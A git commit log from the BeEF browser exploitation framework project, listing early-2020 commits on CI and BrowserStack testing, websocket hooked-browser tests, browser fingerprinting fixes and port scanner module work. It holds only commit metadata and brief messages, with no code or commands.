3a9d94fa85 updated debugging 2020-04-27 17:59:34 -07:00
Josh
0147ab4251 updated websocket 2020-04-27 17:58:04 -07:00
Jack Walker
b0f6f02cb6 Small bump up to hook time to get more consistent test results. 2020-04-28 08:59:39 +10:00
Josh
df617fde36 updated webbrowser 2020-04-27 00:04:40 -07:00
Josh
7fcc325482 added token which was mistakenly removed 2020-04-26 23:59:20 -07:00
Josh
49459fd9bc websocket hooked browser spec 2020-04-26 23:56:04 -07:00
Jack Walker
1784347dff Re-enabling full BrowserStack compat. checking. 2020-04-27 16:50:58 +10:00
Josh
0e1efd0f5d bugfix v0.0.1? 2020-04-26 23:47:48 -07:00
Josh
febe80d046 bugfix? (badly formatted) 2020-04-26 23:40:51 -07:00
Jack Walker
b62e4c0b3a Bumping version of failing configs. 2020-04-27 16:35:06 +10:00
Josh
3318b1e059 update api token 2020-04-26 23:31:59 -07:00
Josh
d257109a9d final check for the delete_all 2020-04-26 23:11:57 -07:00
Josh
72ebcc0bbd updated for testing 2020-04-26 22:54:11 -07:00
Josh
1f8a66a3a0 websocket 2020-04-26 22:37:19 -07:00
Josh
3040576664 updated test 2020-04-26 22:26:03 -07:00
Josh
c059799bf8 updated .travis.yml 2020-04-26 22:21:09 -07:00
Josh
f0de378f4b removed fast_finish to confirm thats the issue 2020-04-26 22:09:06 -07:00
Josh
c230cd086b debugging the websocket_hooked_browser_spec 2020-04-26 21:32:03 -07:00
Josh
d6ee3788eb fast_finish 2020-04-26 21:20:17 -07:00
Josh
27af3e90b6 fixed travis spacing erros 2020-04-26 21:06:31 -07:00
Josh
5ac339d671 update 2020-04-26 21:04:08 -07:00
Josh
383bfb9e5b checking websocket_hooked_brrowser 2020-04-26 20:35:13 -07:00
Jack Walker
5ed92934ed Merge branch 'master' of github.com:beefproject/beef into browserstack 2020-04-27 13:29:34 +10:00
Jack Walker
4fb1a32ec1 Fixed bug in IE10 detection. Missing bang on git add .window.XDomainRequest 2020-04-27 13:25:07 +10:00
Jack Walker
bd743106f2 Re-enabling full BrowserStack test suite. Test run before final merge. 2020-04-27 11:30:16 +10:00
Jack Walker
6edc5ab846 Bumped min XP FF ver. 2020-04-27 11:19:45 +10:00
Jack Walker
b81f16b28d Bumped min XP FF ver. 2020-04-27 11:13:21 +10:00
Jack Walker
a0d74e9bc7 Bumped min XP FF ver. 2020-04-27 11:06:24 +10:00
Jack Walker
ba83d05681 Bumped min XP FF ver. 2020-04-27 10:46:15 +10:00
Jack Walker
11bb90c2aa Bumped min XP FF ver. 2020-04-27 10:45:31 +10:00
Jack Walker
d643388710 Additional Edge fingerprinting fixes. Bumped min XP FF ver. 2020-04-27 10:39:30 +10:00
Josh
4daff898d1 updated travis 2020-04-26 17:14:28 -07:00
Jack Walker
847cba488b Additional Edge fingerprinting fixes. Bumped min XP FF ver. 2020-04-27 10:08:25 +10:00
Josh
e2c1956ec2 updated a catupdated travis file 2020-04-26 17:04:44 -07:00
Jack Walker
7d709c7973 Additional Edge fingerprinting fixes. Bumped min XP FF ver. 2020-04-27 09:58:59 +10:00
jcrew99
b048352d81 Merge pull request #2 from jackdwalker/browserstack
Browserstack
2020-04-27 09:54:25 +10:00
Jack Walker
d44b6e6729 Testing the 3 failing browsers 2020-04-27 09:23:26 +10:00
Jack Walker
4198363923 Updated Edge fingerprinting, was incorrectly being identified as Chrome in some cases. 2020-04-27 08:41:43 +10:00
Jack Walker
8f1f2d32b1 Updated Edge fingerprinting, was incorrectly being identified as Chrome in some cases. 2020-04-24 18:10:51 +10:00
Jack Walker
0086c38933 Updated Edge fingerprinting, was incorrectly being identified as Chrome in some cases. 2020-04-24 18:08:26 +10:00
Josh
9da40565d9 updated travis 2020-04-23 22:32:38 -07:00
Josh
60c307bc4e updated travis 2020-04-23 22:21:00 -07:00
Josh
41459e3c3e updated travis 2020-04-23 22:10:52 -07:00
Josh
5e51c9ffee update yaml 2020-04-23 21:56:35 -07:00
Jack Walker
bf2458392c Fixed issue causing misidentification of debug modules. 2020-04-24 14:50:00 +10:00
Jack Walker
17ae1c9894 Removed unnecessary line in build matrix causing duplciate 2020-04-24 14:23:41 +10:00
Josh
e9da991a66 updated travis 2020-04-23 21:10:34 -07:00
Jack Walker
31cd48319f Fixed issue causing misidentification of debug modules. 2020-04-24 14:10:23 +10:00
Jack Walker
c5f9cb9e5f Bumped XP min FF version compatibility to 8. 2020-04-24 13:39:55 +10:00
Josh
2f70b7c025 updated key 2020-04-23 20:21:05 -07:00
Jack Walker
66f1c25180 Bumped lowest version of Firefox compability to 7. 2020-04-24 13:11:22 +10:00
Josh
6e3ac8aff5 updated travis 2020-04-23 20:09:15 -07:00
Jack Walker
9903c02188 Bumped lowest version of Firefox compability to 7. 2020-04-24 12:56:37 +10:00
Jack Walker
b7b78b84c8 Bumped lowest version of Firefox compability to 7. 2020-04-24 12:56:26 +10:00
Jack Walker
d34ff17ffa Potential fix for erroring compound matcher. 2020-04-24 12:16:21 +10:00
Jack Walker
b15a8bc3d7 .or for compound expectations 2020-04-24 12:00:44 +10:00
Jack Walker
5658009f91 eql -> eq 2020-04-24 11:51:28 +10:00
Jack Walker
9f5b3c540d Re-running failing tests. 2020-04-24 11:32:10 +10:00
jcrew99
1db08ad9f6 Merge pull request #1874 from bcoles/autocomplete_theft
Replace autocomplete_theft with get_autocomplete_creds
2020-04-24 10:06:52 +10:00
jcrew99
165fc483e5 Merge pull request #1899 from beefproject/dependabot/npm_and_yarn/jsdoc-3.6.4
Bump jsdoc from 3.6.3 to 3.6.4
2020-04-24 08:56:28 +10:00
Jack Walker
2317714f0c Run tests against Browserstack w/ full OS/Browser compatability matrix. 2020-04-23 14:43:14 +10:00
Jack Walker
6fb1618a47 Re-build w/ new debugging info 2020-04-23 14:25:50 +10:00
Jack Walker
434a13ce80 Re-build w/ new debugging info 2020-04-23 14:19:35 +10:00
Jack Walker
d61b38edcb Is it only that API call failiing? 2020-04-23 14:10:46 +10:00
Jack Walker
8fd71d66e0 Running an API call prior to grabbing session - possibly keep-alive polling bug experienced in other areas is present here. 2020-04-23 13:51:46 +10:00
Jack Walker
a279c1699a Code intended to be deleted still present. Removed to check if issue was caused by this code. 2020-04-23 13:43:41 +10:00
Jack Walker
6ff10cb5dd Code intended to be deleted still present. Removed to check if issue was caused by this code. 2020-04-23 13:43:19 +10:00
Jack Walker
0b30172224 Added long sleep to definitively exclude this as a possibly for the error. 2020-04-23 13:37:58 +10:00
Jack Walker
b78ff672ce Continuing attempts to debug websocket hook test 2020-04-23 13:17:47 +10:00
Jack Walker
12317c03a5 Wrong require relative path for websocket test 2020-04-23 13:11:03 +10:00
Jack Walker
6db311da92 Wrong require relative path for websocket test 2020-04-23 12:57:26 +10:00
Jack Walker
0376aa519f Re-added deleted code that may have impacted this test. 2020-04-23 12:56:02 +10:00
Jack Walker
539a17bbee Missing necessary requires? 2020-04-23 12:53:09 +10:00
Jack Walker
0fbb46d721 Does this need to sleep until after first keep-alive? 2020-04-23 12:45:40 +10:00
Jack Walker
788623227b Debugging last 2/5 failing tests 2020-04-23 12:39:52 +10:00
Jack Walker
faaac279c1 Debugging last 2/5 failing tests 2020-04-23 12:34:24 +10:00
Jack Walker
18357dbbff Hopefully the final fix. Mis-assigned variable fix. 2020-04-23 12:27:36 +10:00
Jack Walker
25f45ba1cb Fixed test error 2020-04-23 12:22:14 +10:00
Jack Walker
f1e36647f9 Fix for driver time out. 2020-04-23 12:18:26 +10:00
Jack Walker
4fae78b4d5 Fix for driver time out. 2020-04-23 12:18:02 +10:00
Jack Walker
07037587e8 Took an easier route of acquiring the Auth token 2020-04-23 12:10:17 +10:00
Jack Walker
a4f06bbaac And now for something completely different 2020-04-23 11:56:34 +10:00
Jack Walker
f6fdaa39ac Removed line causing error from all files. 2020-04-23 11:47:20 +10:00
Jack Walker
3389a73e39 Removed line causing error, see if it works w/out 2020-04-23 11:42:27 +10:00
Jack Walker
f82d4645d5 Separated Selenium driver + BrowserStack code based on hook loadtime 2020-04-23 10:54:51 +10:00
Jack Walker
5ee6ac4126 Separated Selenium driver + BrowserStack code based on hook loadtime 2020-04-23 10:40:02 +10:00
Jack Walker
8b69279124 Separated Selenium driver + BrowserStack code based on hook loadtime 2020-04-23 10:23:24 +10:00
Jack Walker
a32f4ecf7b Separated Selenium driver + BrowserStack code based on hook loadtime 2020-04-23 10:17:08 +10:00
Jack Walker
9f5452d5d5 Separated Selenium driver + BrowserStack code based on hook loadtime 2020-04-23 10:05:21 +10:00
Jack Walker
f5ee0219f8 Separated Selenium driver + BrowserStack code based on hook loadtime 2020-04-23 10:00:30 +10:00
Jack Walker
b2cb798020 maybee 2020-04-23 09:53:19 +10:00
Jack Walker
4234bf4e48 maybe? 2020-04-23 09:47:33 +10:00
Jack Walker
c6f9f182eb debugging 2020-04-23 09:28:53 +10:00
Jack Walker
91dbaa8931 y 2020-04-23 09:20:32 +10:00
Jack Walker
6100c77426 y 2020-04-23 09:04:37 +10:00
Jack Walker
1cb7103df6 Today is a new day 2020-04-23 08:53:41 +10:00
Jack Walker
1250a45fa2 Was the browser on bstacks the issue? 2020-04-22 16:32:31 +10:00
Jack Walker
44092d8519 fixed config.around hook 2020-04-22 16:25:50 +10:00
Jack Walker
6bf47508cb oops 2020-04-22 16:13:55 +10:00
Jack Walker
709e748797 Getting closer? 2020-04-22 16:12:45 +10:00
Jack Walker
af8b001ff8 How about this 2020-04-22 16:00:22 +10:00
Jack Walker
a51a555a32 This is it fixed 2020-04-22 15:44:55 +10:00
Jack Walker
96ef0f3d9a This is it 2020-04-22 15:41:55 +10:00
Jack Walker
1df856bd30 Attempt 1231829038102931 2020-04-22 15:35:06 +10:00
Jack Walker
02f34cad56 Pls fix 2020-04-22 15:27:10 +10:00
Jack Walker
97fd3f1dcb Example error fix 2020-04-22 15:10:31 +10:00
Jack Walker
4467a9e9d2 Debugging travis 2020-04-22 14:58:57 +10:00
Jack Walker
a59c4d6396 Debugging travis 2020-04-22 14:33:47 +10:00
Jack Walker
e957d7779d Debugging travis 2020-04-22 14:33:26 +10:00
Jack Walker
d21438a10c yml not yaml 2020-04-22 14:15:56 +10:00
Jack Walker
4d8395eaff Hopefully found the final fix for the Travis/Browserstack local tunnel issues 2020-04-22 14:09:32 +10:00
Jack Walker
746ef4b40a Please 2020-04-22 14:03:16 +10:00
Jack Walker
202d0ff8ab testing new matrix expansion config. 2020-04-22 13:27:21 +10:00
Jack Walker
6a32aa958f Fixed GeoIPDB install script 2020-04-22 12:54:40 +10:00
Jack Walker
02fa3af41f update-geoipdb fix will hopefully solve some failing tests 2020-04-22 12:38:13 +10:00
Jack Walker
764e54fda5 update-geoipdb fix will hopefully solve some failing tests 2020-04-22 12:38:10 +10:00
Jack Walker
80dd70660b Testing slower hook for more consistent results 2020-04-22 12:22:38 +10:00
Jack Walker
9509b68c9f Updated BrowserStack access keys for new account 2020-04-22 12:01:54 +10:00
Jack Walker
d15d68a21a Missing config.yaml file added 2020-04-22 11:44:38 +10:00
Jack Walker
0b78cf7752 Fixed last code from last commit so it doesn't fail on grabbing Ruby version 2020-04-22 11:40:16 +10:00
Jack Walker
4a020fc1ee Added code to allow sed script to find gems based on ruby version 2020-04-22 11:34:16 +10:00
Jack Walker
0b1ab1453b The case of the missing -E 2020-04-22 11:23:18 +10:00
Jack Walker
71a5d888b5 Debugging travis 2020-04-22 10:46:09 +10:00
Jack Walker
fe93c4e303 Third sed lucky 2020-04-22 10:40:53 +10:00
Jack Walker
b44275aac6 A wise man once sed writing build scripts is difficult 2020-04-22 10:35:44 +10:00
Jack Walker
d2e295c860 / not - <sigh> 2020-04-22 10:29:33 +10:00
Jack Walker
6d74889608 Added missing dependency 2020-04-22 10:25:15 +10:00
Jack Walker
68e9487781 Hopes and dreams 2020-04-22 10:21:19 +10:00
Jack Walker
ab8af27982 Trying to ascertain where travis installs its gems 2020-04-22 10:15:16 +10:00
Jack Walker
2a5d377ec1 Testing new .travis.yml script variant 2020-04-22 09:45:51 +10:00
Jack Walker
68a78c0e4d Fixed YAML extension. Was .yaml instead of .yml 2020-04-22 09:37:05 +10:00
Jack Walker
539860e333 Commit to test new travis.yml 2020-04-22 09:36:39 +10:00
Jack Walker
eada815b3b Merge branch 'master' of github.com:beefproject/beef into browserstack 2020-04-21 13:17:18 +10:00
jcrew99
1bb4a5856e Merge pull request #1917 from beefproject/debug_unit_test_patch
Removed code that was unintended to be copied across in test set-up
2020-04-21 13:12:24 +10:00
Jack Walker
dc20e03569 Resolved merge conflicts from prod-beef master 2020-04-21 13:11:00 +10:00
Jack Walker
6c503e4143 Committing to merge latest prod-beef master 2020-04-21 13:05:26 +10:00
jcrew99
bd35469757 Merge pull request #1915 from beefproject/new_websocket_spec
made a new websocket test for the browser
2020-04-20 16:45:40 +10:00
Josh
54929dad9f changed the extension name 2020-04-19 23:39:57 -07:00
Josh
549df7480a updated due to feedback from reviewer 2020-04-19 23:30:20 -07:00
Jack Walker
4e241415d1 Removed code that was unintended to be copied across in test set-up 2020-04-20 16:07:13 +10:00
Josh
e43b79fa5b made a new websocket test for the browser 2020-04-19 22:24:49 -07:00
jcrew99
9649a0f857 Merge pull request #1902 from beefproject/debug_unit_tests
Added debug unit tests
2020-04-20 12:01:57 +10:00
Jack Walker
5014771060 Merge branch 'master' of github.com:beefproject/beef into debug_unit_tests 2020-04-20 11:27:20 +10:00
Jack Walker
b645a730fa Fixed extensions loading issue causing tests to run with previously loaded config. 2020-04-20 11:26:09 +10:00
Jack Walker
6ced8acd8b Found the fix for the browser hooking issues. Resolved where necessary and cleaned up tests. 2020-04-20 10:55:00 +10:00
jcrew99
1989e49df0 Merge pull request #1914 from beefproject/port_scanner_update
Final config with version details
2020-04-20 09:09:47 +10:00
salmong1t
d5d7542be2 Final config with version details 2020-04-17 00:02:57 -07:00
Jack Walker
31b039b0c5 Merge branch 'debug_unit_tests' of github.com:beefproject/beef into debug_unit_tests 2020-04-16 16:20:03 +10:00
Jack Walker
1ba8b6d29a Removed byebug + other unneeded requires. Shortened some sleeps. 2020-04-16 13:15:25 +10:00
Jack Walker
0a39de17e0 Add handling to only load modules and extensions if they are not already loaded. 2020-04-16 13:11:26 +10:00
jcrew99
abbe9db66b Merge pull request #1912 from beefproject/update_sw_port_scanner
fixed a few spelling mistakes and changed the name
2020-04-16 10:46:07 +10:00
Jack Walker
3b20c8eee9 Missing class variable tags 2020-04-16 10:33:33 +10:00
Jack Walker
55112fe492 Fixed hard coded command modules 2020-04-16 10:30:16 +10:00
Josh
1aa76f93cb fixed a few spelling mistakes and changed the name 2020-04-15 16:00:19 -07:00
Jack Walker
804fc6363a Implemented BrowserStack testing into debug module tests. 2020-04-16 08:54:04 +10:00
Jack Walker
4319f73fe7 This time for sure 2020-04-15 14:52:31 +10:00
Jack Walker
667b773cc5 PLEASE 2020-04-15 14:37:08 +10:00
Jack Walker
0a7f9ec222 Envvars pls 2020-04-15 14:13:53 +10:00
Jack Walker
7a2f90534f Fixed envvar? 2020-04-15 13:32:29 +10:00
Jack Walker
fd9c4758d5 Testing env var w/ Travis 2020-04-15 13:24:51 +10:00
Jack Walker
7406360065 Converted RSpec BrowserStack config to use Capybara instead of Selenium as we primarily use Capybara sessions in testing. 2020-04-15 12:37:28 +10:00
Jack Walker
ba81a386e1 Test cleanup. 2020-04-15 11:59:29 +10:00
Jack Walker
45034fcfe6 Removed a bunch of browsers, see if we can get tests passing. 2020-04-14 17:03:33 +10:00
Jack Walker
3619567116 Removed broken tests. Check for pass. 2020-04-14 17:02:10 +10:00
Jack Walker
a271d7656b Pushing changes that should enable BrowserStack. Partly pushing to see if we get these results in Travis. 2020-04-14 16:21:40 +10:00
Jack Walker
7a27db0b3d Reverting. 2020-04-14 12:39:06 +10:00
Jack Walker
c2c8b87cfb Testing different access_key format 2020-04-14 12:34:45 +10:00
Jack Walker
33c97ae9bb Added browserstack to list of branches Travis will build and test 2020-04-14 12:15:05 +10:00
Jack Walker
477188944d Browserstack config added to .travis.yml 2020-04-14 12:11:58 +10:00
Jack Walker
815d2e4bb8 Resolved merge conflicts from other working branch 2020-04-14 10:50:34 +10:00
Jack Walker
c610aa1666 Fixed change to config.yaml creds 2020-04-14 10:41:32 +10:00
Jack Walker
0ffd87059a Resolved issues preventing server starting w/ test. Tests now passing. 2020-04-14 10:40:50 +10:00
jcrew99
6431df68cf Merge pull request #1905 from beefproject/refining_websocket_tests
Refining websocket tests
2020-04-09 13:48:52 +10:00
jcrew99
4a0f8360c9 Merge pull request #1904 from beefproject/fix_default_values
moving these back to defaults
2020-04-09 13:45:20 +10:00
Grant Burgess
340279f91c Removed byebug dependency 2020-04-09 13:45:11 +10:00
jcrew99
5837502670 Merge pull request #1903 from beefproject/dockerize_beef
Added Dockerfile
2020-04-09 13:29:56 +10:00
Josh
4e0a2bb465 moving these back to defaults 2020-04-08 20:26:15 -07:00
Jack Walker
a3eca63504 Added Dockerfile 2020-04-09 13:03:37 +10:00
Jack Walker
d8fac13f8f Trying to automate API server 2020-04-09 13:03:08 +10:00
Grant Burgess
3c6aca28fd Added websocket client gem for testing 2020-04-09 12:30:28 +10:00
Grant Burgess
67d0c8bca2 Added a new test and modified the others. 2020-04-09 12:30:08 +10:00
Jack Walker
71cecf4e5e Added debug unit tests 2020-04-09 12:12:09 +10:00
jcrew99
e5381e3c93 Merge pull request #1900 from beefproject/update_ARE_rules
fiexed broken values
2020-04-07 17:58:39 +10:00
Josh
6db2a6f4f8 fiexed broken values 2020-04-07 00:56:18 -07:00
dependabot-preview[bot]
9bfa8d00f7 Bump jsdoc from 3.6.3 to 3.6.4
Bumps [jsdoc](https://github.com/jsdoc/jsdoc) from 3.6.3 to 3.6.4.
- [Release notes](https://github.com/jsdoc/jsdoc/releases)
- [Changelog](https://github.com/jsdoc/jsdoc/blob/3.6.4/CHANGES.md)
- [Commits](https://github.com/jsdoc/jsdoc/compare/3.6.3...3.6.4)

Signed-off-by: dependabot-preview[bot] <support@dependabot.com>
2020-04-07 07:25:02 +00:00
jcrew99
5841265ffa Merge pull request #1898 from beefproject/update_sw_port_scanner_module
updated command.js for sw_network_proxy
2020-04-07 09:58:38 +10:00
Josh
378728a6e0 updated command.js for sw_network_proxy 2020-04-06 16:50:20 -07:00
jcrew99
e445a2c2d3 Merge pull request #1897 from beefproject/updated_travis_ci
added a new rvm language for the docker container
2020-04-07 09:32:13 +10:00
Josh
1d0513a4b6 added a new rvm language for the docker container 2020-04-06 16:19:25 -07:00
jcrew99
2ed8afa647 Merge pull request #1896 from beefproject/update_sw_port_scanner_module
updated command js for more funcionality
2020-04-06 18:20:35 +10:00
Josh
2528381f0d updated command js for more funcionality 2020-04-06 01:13:54 -07:00
jcrew99
4acaab249d Merge pull request #1895 from beefproject/remove_arerule_from_enabled_by_default
Remove arerule from enabled by default
2020-04-06 11:46:04 +10:00
Josh
50ed49282b removed the console.log 2020-04-05 18:36:52 -07:00
Josh
28e43b23f5 removing Are rules from enabled by default 2020-04-05 18:31:35 -07:00
jcrew99
097effe376 Merge pull request #1894 from beefproject/create_sw_port_scanner
Create sw port scanner
2020-04-06 10:35:55 +10:00
jcrew99
132fca5d94 Merge pull request #1891 from aburro/master
Prevent breaking BeEF due to my split work on hook
2020-04-05 19:10:30 +10:00
jcrew99
38437f5536 Merge pull request #1893 from beefproject/travis_ci_change
should make travis.ci only run on master, fix the current error
2020-04-05 18:57:31 +10:00
Josh
7c5578329f should make travis.ci only run on master 2020-04-05 18:45:37 +10:00
Josh
f8ec92d069 updates 2020-04-03 00:14:25 -07:00
aaron
326b8e2e36 Merge https://github.com/beefproject/beef 2020-04-03 16:12:22 +10:00
aaron
7df4a714e3 Haha passwords 2020-04-03 16:11:40 +10:00
Grant Burgess
698b36c929 Fixed password change 2020-04-03 16:09:56 +10:00
aaron
e7157aa759 Made sure BeEF not broken 2020-04-03 16:01:53 +10:00
aaron
ad908e1813 Split on config 2020-04-03 15:42:16 +10:00
Josh
a142521f17 updated the module, more to go 2020-04-02 22:41:26 -07:00
Grant Burgess
a32f9f57f2 Merge pull request #1887 from aburro/master
Updating portscanner for modern browsers
2020-04-03 15:32:26 +10:00
nomad
60a0ca0807 Added basic websocket tests 2020-04-03 14:58:39 +10:00
aaron
93ed26d10f Moved failed beefJS split into hooked instead of into BeEFJS 2020-04-03 14:37:48 +10:00
aaron
3f59aa2d9c Legacy beef not working :( 2020-04-03 13:52:08 +10:00
aaron
f836748718 Finished legacy pivot 2020-04-03 13:22:56 +10:00
aaron
419789baf5 Finished legacy pivot 2020-04-03 13:22:47 +10:00
aaron
9074ed0b22 Based on tests updated poc code for port scanner 2020-04-02 18:38:18 +10:00
aaron
7c1c7d6108 Fixed merge conflict 2020-04-02 17:17:21 +10:00
aaron
89c08b5ffd Merge https://github.com/beefproject/beef 2020-04-02 17:16:20 +10:00
jcrew99
6ebb8a0e04 Merge pull request #1888 from beefproject/fixed_offline_browser_bug_when_using_websockets
Changed how websocket hooked browsers time out
2020-04-02 16:23:35 +10:00
Grant Burgess
1b837dbd27 Removed require byebug 2020-04-02 15:52:33 +10:00
Grant Burgess
89b9c53239 Changed how websocket hooked browsers time out 2020-04-02 15:39:30 +10:00
aaron
53b283b71d Commenting GBs hookedbrowserwebsockettimeout fix 2020-04-02 15:23:26 +10:00
aaron
24ee0c5095 Adding GBs hookedbrowserwebsockettimeout fix 2020-04-02 15:21:33 +10:00
aaron
d192522865 Merge https://github.com/beefproject/beef 2020-04-02 13:14:46 +10:00
jcrew99
803fd6d3e7 Merge pull request #1886 from beefproject/update_session_id
this was a change that needed to be update
2020-04-02 12:16:41 +10:00
Josh
a84dbcb005 this was a change that needed to be update 2020-04-01 19:15:07 -07:00
aburro
d63511dd94 Update command.js 2020-04-02 09:42:59 +10:00
aaron
f317caf88a Merge https://github.com/beefproject/beef 2020-04-01 17:59:51 +10:00
aaron
3b27cd65d8 End of day code 2020-04-01 17:55:12 +10:00
AussieKlutz
dcb946dfa2 First cut, automated scan using new sw_port_scanner module. 2020-04-01 14:38:14 +10:00
AussieKlutz
aae313fee0 Removed extraneous comma, due to a commented option 2020-04-01 14:21:41 +10:00
aaron
f28bc603ad Starting promise based port scanner 2020-04-01 14:06:55 +10:00
jcrew99
010e86dc0d Merge pull request #1885 from beefproject/update_networkservice
updated to what was changed for the networkservice
2020-04-01 13:30:33 +10:00
Josh
591ebf6d83 updated to what was changed for the networkservice 2020-03-31 20:21:53 -07:00
aaron
047b18ec88 Updated to correct module 2020-04-01 12:34:42 +10:00
aaron
10f367eb5a Portscan multihosts 2020-04-01 12:29:53 +10:00
aaron
3c3b3e2595 Modified lan_portscan for name 2020-04-01 12:22:52 +10:00
root
d1f778dab0 Added portscan arerule 2020-04-01 12:14:01 +10:00
Brendan Coles
7a80e5f6ec Replace autocomplete_theft with get_autocomplete_creds 2020-02-12 13:53:24 +00:00
jcrew99
e820619a74 Merge pull request #1870 from H4xl0r/patch-1
Update update-geoipdb
2020-02-11 13:56:31 +10:00
bcoles
38447da541 Merge pull request #1873 from bcoles/core-extensions
BeEF::Extension: Add debug output for extension handling
2020-02-08 20:01:38 +11:00
Brendan Coles
4e2bfc4247 BeEF::Extension: Add debug output for extension handling 2020-02-08 09:02:45 +00:00
jcrew99
714e320a12 Merge pull request #1866 from superuserx/master
Fixed build_recursive_tree()
2020-02-04 14:41:37 +10:00
H4xl0r
ce62541439 Update update-geoipdb
geolite changed access 
fixed by getting files from web.archive 
This is a temp solution eg. not updated !
2020-02-02 21:08:00 +01:00
jcrew99
03222d605f Merge pull request #1868 from beefproject/updated_Pull_Request_Template
Updated pull request template
2020-01-30 17:27:10 +10:00
josh
e6d689d90e updated pull request template 2020-01-30 07:13:15 +00:00
josh
d808585049 updated pull request 2020-01-30 07:11:41 +00:00
superuserx
5d5a67e177 Fixed build_recursive_tree() 2020-01-26 20:11:07 +01:00
jcrew99
a038dee9d8 Merge pull request #1863 from beefproject/zombie_id_fix
update the destroy to destroy all
2020-01-23 12:27:58 +10:00
josh
fb5e90c499 browser details 2020-01-23 02:14:19 +00:00
Josh Crew
ac49a53814 update the destroy to destroy all 2020-01-20 10:54:19 +00:00
jcrew99
27ca299efe Merge pull request #1862 from beefproject/destroy_id_fix
Revert "related to the change in how ID is used"
2020-01-20 10:48:49 +10:00
Josh Crew
120a1c3f62 Revert "related to the change in how ID is used"
This reverts commit 453e4bacab.

Needs to be reviewed
2020-01-20 10:36:42 +00:00
Josh Crew
453e4bacab related to the change in how ID is used 2020-01-20 10:26:28 +00:00
jcrew99
23dc5c7114 Merge pull request #1861 from beefproject/bcoles-patch-2
Use OID-style key/value data for BrowserDetails network details
2020-01-20 10:32:17 +10:00
bcoles
6106854dbe Merge pull request #1860 from beefproject/bcoles-patch-1
Add Ruby 2.7.0 to travis.yml
2020-01-19 16:25:47 +11:00
bcoles
cc21bb644b Use OID-style key/value data for BrowserDetails network details 2020-01-18 20:35:07 +11:00
bcoles
96704088dc Add Ruby 2.7.0 to travis.yml 2020-01-18 19:53:14 +11:00
jcrew99
b84872e521 Merge pull request #1858 from beefproject/fix-1851
fixing #1851
2020-01-17 16:25:02 +10:00
Haoxi Tan
9a59297daf add comment 2020-01-17 14:29:41 +10:00
Haoxi Tan
cbe5381997 fixing test 2020-01-17 13:05:43 +10:00
Haoxi Tan
27514b93d3 fixing test 2020-01-17 12:55:37 +10:00
Haoxi Tan
39c07feeb2 fixing test 2020-01-17 12:30:17 +10:00
Haoxi Tan
3507ffe652 fixing test 2020-01-17 12:14:02 +10:00
Haoxi Tan
43e2e5bec0 increasing test delay for hook victim 2020-01-17 12:02:30 +10:00
Haoxi Tan
62186583a6 fixing #1851 2020-01-17 11:41:07 +10:00
bcoles
ac2627383d Merge pull request #1853 from bcoles/assethandler
Add error handling and minor code cleanup
2020-01-16 23:37:42 +11:00
Haoxi Tan
811d20eea0 Merge branch 'master' of https://github.com/beefproject/beef 2020-01-16 13:03:04 +10:00
jcrew99
cbd42c198a Merge pull request #1857 from beefproject/fix-1852
fixing issue #1852
Passes fine
2020-01-16 12:07:39 +10:00
Haoxi Tan
282575f9a6 killing things properly in tests involving beef http server 2020-01-16 11:52:04 +10:00
Haoxi Tan
cecbabe42a added test for fixing #1852 2020-01-16 11:29:59 +10:00
Haoxi Tan
7d9a235bbf Revert "fixing issue #1852"
This reverts commit 375c0d9b8b.
2020-01-16 11:24:11 +10:00
Haoxi Tan
375c0d9b8b fixing issue #1852 2020-01-16 11:18:09 +10:00
Haoxi Tan
4ac293a2e5 updated browser details test 2020-01-16 11:17:15 +10:00
Haoxi Tan
00eaa6a661 fixing tests 2020-01-15 14:51:04 +10:00
Haoxi Tan
fc1b0c6da4 commented out simplecov 2020-01-15 14:45:29 +10:00
Haoxi Tan
d417645b28 fixed ARE engine issue #1855 2020-01-15 14:30:31 +10:00
Haoxi Tan
3f314fc055 fixing test 2020-01-15 13:58:53 +10:00
Haoxi Tan
d2f3c7fbe2 added tests for browser details handler 2020-01-15 13:47:46 +10:00
Grant Burgess
a46a2fe2c1 Merge branch 'master' of github.com:beefproject/beef 2020-01-15 12:56:25 +10:00
Grant Burgess
d76294735c Fixed issue where pull request #1846 changes were
not merged to master.
2020-01-15 12:55:17 +10:00
Brendan Coles
976eb5ec1c Add error handling and minor code cleanup 2020-01-14 07:06:55 +00:00
Haoxi Tan
3770b43534 updated PR template 2020-01-14 15:13:53 +10:00
Haoxi Tan
ee1739b200 updated PR template 2020-01-14 15:12:56 +10:00
Haoxi Tan
c01c07ad81 updated PR template 2020-01-14 15:02:44 +10:00
Haoxi Tan
256377a8db updated PR template 2020-01-14 15:01:34 +10:00
Haoxi Tan
17b0949f02 added pull request template 2020-01-14 14:57:58 +10:00
Haoxi Tan
ce72aa8fc0 added CONTRIBUTING and SECURITY md files in .github 2020-01-14 14:40:56 +10:00
Grant Burgess
bac84f4f26 Merge pull request #1849 from beefproject/fix_tests_to_run_in_random_order
Set the credentials before test runs
2020-01-14 10:40:59 +10:00
Grant Burgess
4d7810e730 Set the credentials before test runs 2020-01-14 10:31:30 +10:00
Grant Burgess
9945fcd3eb Merge pull request #1848 from beefproject/fix_broken_admin_ui_access
Fixed test to run in random order
2020-01-14 10:29:39 +10:00
Grant Burgess
ce4f480957 Fixed test to run in random order 2020-01-14 10:00:03 +10:00
jcrew99
079f3dae56 Merge pull request #1847 from beefproject/reset_head
Reset head
2020-01-13 14:37:24 +10:00
jcrew99
7e4f636869 Merge pull request #1846 from beefproject/fix_tests_to_run_in_random_order
Fix tests to run in random order
2020-01-13 13:10:44 +10:00
jcrew99
5de127a0e2 Merge pull request #1845 from beefproject/fix_broken_admin_ui_access
Fix broken admin ui access
2020-01-13 13:08:24 +10:00
Grant Burgess
d26a0fda33 Re-enabled the test as it now passes 2020-01-13 12:54:13 +10:00
Grant Burgess
a113d896e7 Cleared arguements before tests run 2020-01-13 12:53:29 +10:00
Grant Burgess
d0dced8848 Added catch to disable logging during test 2020-01-13 12:53:00 +10:00
Grant Burgess
28b5eef779 Tests to cover Admin UI access 2020-01-10 14:45:14 +10:00
Grant Burgess
a2de71c151 Added router/error_responses 2020-01-10 14:44:51 +10:00
Grant Burgess
1c4ef22947 Changed references to constants to modify easily 2020-01-10 14:43:51 +10:00
Grant Burgess
efad3c3d23 Made 404 error responses constants to use with UI 2020-01-10 14:42:35 +10:00
Grant Burgess
35876694b0 Determines the correct IP if reverse proxy enabled 2020-01-10 14:40:29 +10:00
Grant Burgess
9065fc9514 Check request IP before resolving the Admin UI 2020-01-10 14:38:06 +10:00
Grant Burgess
998c3fd8b2 Added config option that Closes #1354 2020-01-10 14:36:37 +10:00
Haoxi Tan
